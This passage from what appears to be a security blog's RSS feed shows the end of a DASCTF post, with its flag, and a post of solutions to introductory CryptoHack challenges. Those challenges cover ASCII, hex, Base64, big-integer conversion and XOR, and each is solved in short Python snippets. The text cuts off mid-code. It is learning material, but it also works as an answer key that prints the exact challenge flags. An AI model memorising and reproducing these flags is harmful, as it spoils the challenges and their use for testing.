  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><code>DASCTF{5521a971-9bed-11ef-bfda-14ac6024b6a8}</code></p>
]]></content:encoded><h:img src="https://h4cker.zip/322f5b/NingBo_8th_Cover.webp"/><enclosure url="https://h4cker.zip/322f5b/NingBo_8th_Cover.webp"/><category>UAF</category><category>AES</category><category>RSA</category></item><item><title>CRYPTOHACK学习</title><link>https://h4cker.zip/9c5133/</link><pubDate>Wed, 04 Jun 2025 19:52:45 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/9c5133/</guid><description>练习用，有空再更新。</description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="introduction-to-cryptohack">Introduction to CryptoHack<a class="anchor" href="#introduction-to-cryptohack">#</a></h2>
<h3 id="finding-flags">Finding Flags<a class="anchor" href="#finding-flags">#</a></h3>
<p><code>crypto{y0ur_f1rst_fl4g}</code></p>
<h3 id="great-snakes">Great Snakes<a class="anchor" href="#great-snakes">#</a></h3>
<p><code>crypto{z3n_0f_pyth0n}</code></p>
<h3 id="ascii">ASCII<a class="anchor" href="#ascii">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-cmd" data-lang="cmd"><span class="line"><span class="ln">1</span><span class="cl">python
</span></span><span class="line"><span class="ln">2</span><span class="cl">Python 3.10.7 (tags/v3.10.7:6cc6b13, Sep  5 2022, 14:08:36) [MSC v.1933 64 bit (AMD64)] on win32
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="k">Type</span> <span class="s2">&#34;help&#34;</span>, <span class="s2">&#34;copyright&#34;</span>, <span class="s2">&#34;credits&#34;</span> or <span class="s2">&#34;license&#34;</span> for more information.
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="p">&gt;&gt;</span>&gt; xl=[99, 114, 121, 112, 116, 111, 123, 65, 83, 67, 73, 73, 95, 112, 114, 49, 110, 116, 52, 98, 108, 51, 125]
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="p">&gt;&gt;</span>&gt; print(<span class="s2">&#34;&#34;</span>.join([chr(i) for i in xl]))
</span></span><span class="line"><span class="ln">6</span><span class="cl">crypto{ASCII_pr1nt4bl3}
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="p">&gt;&gt;</span>&gt; print(<span class="s2">&#34;&#34;</span>.join(map(chr,xl)))
</span></span><span class="line"><span class="ln">8</span><span class="cl">crypto{ASCII_pr1nt4bl3}</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">cmd</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="hex">Hex<a class="anchor" href="#hex">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">&gt;&gt;&gt; print<span class="o">(</span>bytes.fromhex<span class="o">(</span><span class="s2">&#34;63727970746f7b596f755f77696c6c5f62655f776f726b696e675f776974685f6865785f737472696e67735f615f6c6f747d&#34;</span><span class="o">))</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">b<span class="s1">&#39;crypto{You_will_be_working_with_hex_strings_a_lot}&#39;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="base64">Base64<a class="anchor" href="#base64">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">Python 3.10.7 <span class="o">(</span>tags/v3.10.7:6cc6b13, Sep  <span class="m">5</span> 2022, 14:08:36<span class="o">)</span> <span class="o">[</span>MSC v.1933 <span class="m">64</span> bit <span class="o">(</span>AMD64<span class="o">)]</span> on win32
</span></span><span class="line"><span class="ln">2</span><span class="cl">Type <span class="s2">&#34;help&#34;</span>, <span class="s2">&#34;copyright&#34;</span>, <span class="s2">&#34;credits&#34;</span> or <span class="s2">&#34;license&#34;</span> <span class="k">for</span> more information.
</span></span><span class="line"><span class="ln">3</span><span class="cl">&gt;&gt;&gt; import base64
</span></span><span class="line"><span class="ln">4</span><span class="cl">&gt;&gt;&gt; <span class="nv">bt</span><span class="o">=</span>bytes.fromhex<span class="o">(</span><span class="s2">&#34;72bca9b68fc16ac7beeb8f849dca1d8a783e8acf9679bf9269f7bf&#34;</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">&gt;&gt;&gt; print<span class="o">(</span>bt<span class="o">)</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">b<span class="s1">&#39;r\xbc\xa9\xb6\x8f\xc1j\xc7\xbe\xeb\x8f\x84\x9d\xca\x1d\x8ax&gt;\x8a\xcf\x96y\xbf\x92i\xf7\xbf&#39;</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">&gt;&gt;&gt; print<span class="o">(</span>base64.b64encode<span class="o">(</span>bt<span class="o">))</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl">b<span class="s1">&#39;crypto/Base+64+Encoding+is+Web+Safe/&#39;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="bytes-and-big-integers">Bytes and Big Integers<a class="anchor" href="#bytes-and-big-integers">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">&gt;&gt;&gt; from Crypto.Util.number import *
</span></span><span class="line"><span class="ln">2</span><span class="cl">&gt;&gt;&gt; print<span class="o">(</span>long_to_bytes<span class="o">(</span>11515195063862318899931685488813747395775516287289682636499965282714637259206269<span class="o">))</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">b<span class="s1">&#39;crypto{3nc0d1n6_4ll_7h3_w4y_d0wn}&#39;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="xor-starter">XOR Starter<a class="anchor" href="#xor-starter">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">python
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">Python 3.10.7 <span class="o">(</span>tags/v3.10.7:6cc6b13, Sep  <span class="m">5</span> 2022, 14:08:36<span class="o">)</span> <span class="o">[</span>MSC v.1933 <span class="m">64</span> bit <span class="o">(</span>AMD64<span class="o">)]</span> on win32
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">Type <span class="s2">&#34;help&#34;</span>, <span class="s2">&#34;copyright&#34;</span>, <span class="s2">&#34;credits&#34;</span> or <span class="s2">&#34;license&#34;</span> <span class="k">for</span> more information.
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">&gt;&gt;&gt; <span class="nv">st</span> <span class="o">=</span> <span class="s2">&#34;label&#34;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">&gt;&gt;&gt; print<span class="o">(</span><span class="s2">&#34;&#34;</span>.join<span class="o">(</span>chr<span class="o">(</span>ord<span class="o">(</span>i<span class="o">)</span>^13<span class="o">)</span> <span class="k">for</span> i in st<span class="o">))</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">aloha
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">&gt;&gt;&gt; def xor<span class="o">(</span>a,b<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">...     <span class="k">return</span> a^b
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">...
</span></span><span class="line"><span class="ln">10</span><span class="cl">&gt;&gt;&gt; print<span class="o">(</span><span class="s2">&#34;&#34;</span>.join<span class="o">(</span>chr<span class="o">(</span>xor<span class="o">(</span>ord<span class="o">(</span>i<span class="o">)</span>,13<span class="o">))</span> <span class="k">for</span> i in st<span class="o">))</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">aloha</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="xor-properties">XOR Properties<a class="anchor" href="#xor-properties">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">k1_ord</span> <span class="o">=</span> <span class="p">[</span><span class="n">o</span> <span class="k">for</span> <span class="n">o</span> <span class="ow">in</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;a6c8b6733c9b22de7bc0253266a3867df55acde8635e19c73313&#34;</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">k23_ord</span> <span class="o">=</span> <span class="p">[</span><span class="n">o</span> <span class="k">for</span> <span class="n">o</span> <span class="ow">in</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;c1545756687e7573db23aa1c3452a098b71a7fbf0fddddde5fc1&#34;</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">flag_123_ord</span> <span class="o">=</span> <span class="p">[</span><span class="n">o</span> <span class="k">for</span> <span class="n">o</span> <span class="ow">in</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;04ee9855208a2cd59091d04767ae47963170d1660df7f56f5faf&#34;</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">k123_ord</span><span class="o">=</span><span class="p">[</span><span class="n">a</span><span class="o">^</span><span class="n">b</span> <span class="k">for</span> <span class="n">a</span><span class="p">,</span><span class="n">b</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">k1_ord</span><span class="p">,</span><span class="n">k23_ord</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="n">flag_ord</span><span class="o">=</span><span class="p">[</span><span class="n">a</span><span class="o">^</span><span class="n">b</span> <span class="k">for</span> <span class="n">a</span><span class="p">,</span><span class="n">b</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">flag_123_ord</span><span class="p">,</span><span class="n">k123_ord</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">flag_ord</span><span class="p">))</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="favourite-byte">Favourite byte<a class="anchor" href="#favourite-byte">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">st</span><span class="o">=</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s1">&#39;73626960647f6b206821204f21254f7d694f7624662065622127234f726927756d&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">for</span> <span class="n">num</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="n">string</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">((</span><span class="nb">chr</span><span class="p">(</span><span class="n">num</span> <span class="o">^</span> <span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">st</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    <span class="k">if</span> <span class="n">string</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;crypto&#34;</span><span class="p">):</span>
